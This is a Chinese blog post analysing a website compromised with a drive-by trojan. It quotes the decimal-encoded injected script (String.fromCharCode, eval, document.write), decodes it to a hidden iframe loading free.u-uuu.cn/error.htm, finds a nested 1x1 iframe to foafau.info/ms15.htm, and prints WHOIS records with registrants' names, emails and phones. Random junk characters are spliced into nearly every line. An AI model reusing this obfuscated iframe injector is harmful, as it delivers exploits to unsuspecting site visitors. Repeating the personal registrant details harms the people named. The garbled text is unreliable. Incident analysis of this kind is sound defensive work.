首发在我的博客里面，
g`zC 0~D2 x\XOtjJr http://www.areway.cn/?p=175 0f|nI8,z ,n+~S ^r E@ $HO_;& 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
B6a
lw 9 rf4RF <script>t=’60,105,102,114,97,109,101,
cY \"{o"C 32,115,114,99,61,104,116,116,112,58,47,47,
n<>/X_m 102,114,101,101,46,117,45,117,117,117,46,99,
AVv 8Hhd 110,47,101,114,114,111,114,46,104,116,109,
0Fm,F&12 32,119,105,100,116,104,61,49,48,48,32,104,
3P2L phW 101,105,103,104,116,61,48,62,60,47,105,102,
g JMv 114,97,109,101,62′;
VYN1^Tp t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
e$@a zi1 t12 xPtN1 <script>t=’60,105,102,114,97,109,101,32,115,
o.H(&ex| 114,99,61,104,116,116,112,58,47,47,102,114,
oT27BK26?h 101,101,46,117,45,117,117,117,46,99,110,47,
p= U5qM.O 101,114,114,111,114,46,104,116,109,32,119,
:Q ra9;
Y 105,100,116,104,61,49,48,48,32,104,101,105,
` ]:&h' 103,104,116,61,48,62,60,47,105,102,114,97,
vErlh :~e 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
E; Z1HF
R document.write(t);</script>
['n;e:* $3MYr5
<html xmlns=”
4
U`5=BI http://www.w3.org/1999/xhtml 0?n m`9v6 “>
, =kQJ| <head>
Kzd)Z
fnD0 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Fs EPM"&?h <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
A `n:q;my <title>首页 - 爱生活家庭网
kUG3_ *1
. 14v,z;HXj 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
=:-x; 转换字符串后的大概内容是（谁点击后果自付）：
(*2kM| <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
{$mj9?n=v GT"gB$Mh 查询玉米u-uuu.cn的详细信息：
7 V+rQ Domain Name: u-uuu.cn
?]L:j ROID: 20070901s10001s64972306-cn
\;s mH;m Domain Status: ok
j;']L}R Registrant Organization: 王雷
oUwu:&<Orm Registrant Name: 王雷
0Bpix |mq Administrative Email:
czlovexs@126.com 6+[7UH~pm^ Sponsoring Registrar: 北京万网志成科技有限公司
f}>S"fFI Name Server:ns.yovole.com
hd}"%9p Name Server:ns1.yovole.com
OjiQBsgnj Registration Date: 2007-09-01 17:54
\!4sd2Yi Expiration Date: 2008-09-01 17:54
%v(\;&@ 最后PING了一下地址 都没有什么….
(7g1eEK % c);(+b 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
aB LE :v <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
qrmJJSJ <script language=”javascript” src=”
b 64~Y|8 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script l1qWl >
a _0G4@=T 这个玉米应该有可能是木马作者的：
Wg+fT{[f| foafau.info的详细信息：
a~F` {(Q2 Access to INFO WHOIS information is provided to assist persons in
t~0}Emgp<( determining the contents of a domain name registration record in the
jreY 'y: Afilias registry database. The data in this record is provided by
e/<Og\}P/ Afilias Limited for informational purposes only, and Afilias does not
~^Y(f'{ guarantee its accuracy. This service is intended only for query-based
{s=$.Kg
access. You agree that you will use this data only for lawful purposes
$fE$j { and that, under no circumstances will you use this data to: (a) allow,
A,T3%TE enable, or otherwise support the transmission by e-mail, telephone, or
Sgt@G=_o facsimile of mass unsolicited, commercial advertising or solicitations
.{1MM8 Q to entities other than the data recipient’s own existing customers; or
PiRbdl (b) enable high volume, automated, electronic processes that send
f`j RLo*L queries or data to the systems of Registry Operator, a Registrar, or
Nz&J&\X)tD Afilias except as reasonably necessary to register domain names or
yU( k;A- modify existing registrations. All rights reserved. Afilias reserves
YrR}55V, the right to modify these terms at any time. By submitting this query,
Uv06f+P( you agree to abide by this policy.
@edi6b1W Domain ID:D22418703-LRMS
:h&*<!O2B` Domain Name:FOAFAU.INFO
{]}}rx'|P Created On:20-Nov-2007 16:05:42 UTC
l%^'K%'b Last Updated On:20-Nov-2007 16:05:44 UTC
c!BiGw,; Expiration Date:20-Nov-2008 16:05:42 UTC
/L1qdkG Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
.hCOi<wB Status:CLIENT DELETE PROHIBITED
v?\bvg\E Status:CLIENT RENEW PROHIBITED
@Ooh}V#J Status:CLIENT TRANSFER PROHIBITED
&z F1&J58z Status:CLIENT UPDATE PROHIBITED
7
C5m#e3 Status:TRANSFER PROHIBITED
~pqp ` Registrant ID:GODA-040110615
PQ2u R
Registrant Name:liu hong
*HwTq[y Registrant Organization:
IdlW[h3`[ Registrant Street1:beijing
l#,WMu& Registrant Street2:
v |XEC[F Registrant Street3:
#isBE}sT{ Registrant City:beijing
* SG0-_S Registrant State/Province:
7ST[XLwt%} Registrant Postal Code:100000
TCSm#?[B Registrant Country:CN
m(Cn'@i`"0 Registrant Phone:+86.860108888777
$ #C$V> Registrant Phone Ext.:
) tGC&l+?/ Registrant FAX:
o(.
PxcD Registrant FAX Ext.:
Je Jc(e Registrant Email:bbbshiji@163.com
7K`A2 Admin ID:GODA-240110615
L44-: 3 Admin Name:liu hong
a <[@p Admin Organization:
1@ H3!V4 Admin Street1:beijing
_AQ :<0/# Admin Street2:
:CN,I!: Admin Street3:
hIw<gb4J% Admin City:beijing
qPpC )6 -Q Admin State/Province:
j0 k"iv Admin Postal Code:100000
>Z?3dM~ [ Admin Country:CN
AO9F.A<T5 Admin Phone:+86.860108888777
X.,1SYG[ Admin Phone Ext.:
L!-@dz Admin FAX:
4b8!LzKS Admin FAX Ext.:
, 2)LH 'Xx Admin Email:bbbshiji@163.com
EM*YN=S o Billing ID:GODA-340110615
Ftm%@S ? Billing Name:liu hong
YXJjqH3 Billing Organization:
' hL\xf{ Billing Street1:beijing
Z8Fbx+~" Billing Street2:
] w FFGy Billing Street3:
C CX\"-C Billing City:beijing
un[Z$moN" Billing State/Province:
:JSOj@s Billing Postal Code:100000
_EOQ*K#=Ct Billing Country:CN
D:llGdU#2 Billing Phone:+86.860108888777
4.7ePbk[E Billing Phone Ext.:
NrTQ}_3) Billing FAX:
gydPy* Billing FAX Ext.:
8 @!/%"Kt2 Billing Email:bbbshiji@163.com
jd=k[Yqr Tech ID:GODA-140110615
R{3f5**0 Tech Name:liu hong
`7Ni bZX0 Tech Organization:
1P4jdp=~ Tech Street1:beijing
jjkiic+tDN Tech Street2:
g^1M]1.f Tech Street3:
q[l},nw Tech City:beijing
k:<yy^g$X Tech State/Province:
{y'c*NS Tech Postal Code:100000
j%b/1@I Tech Country:CN
\<~[uv ' Tech Phone:+86.860108888777
Rw*l#cr=. Tech Phone Ext.:
i U{F\> Tech FAX:
~d 7!)c`z Tech FAX Ext.:
!tFs(
\QstcsEt 
U/m6% )Yx( 
6YQ&+4 
^/2n[orl5 
fEWS3`Yy 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
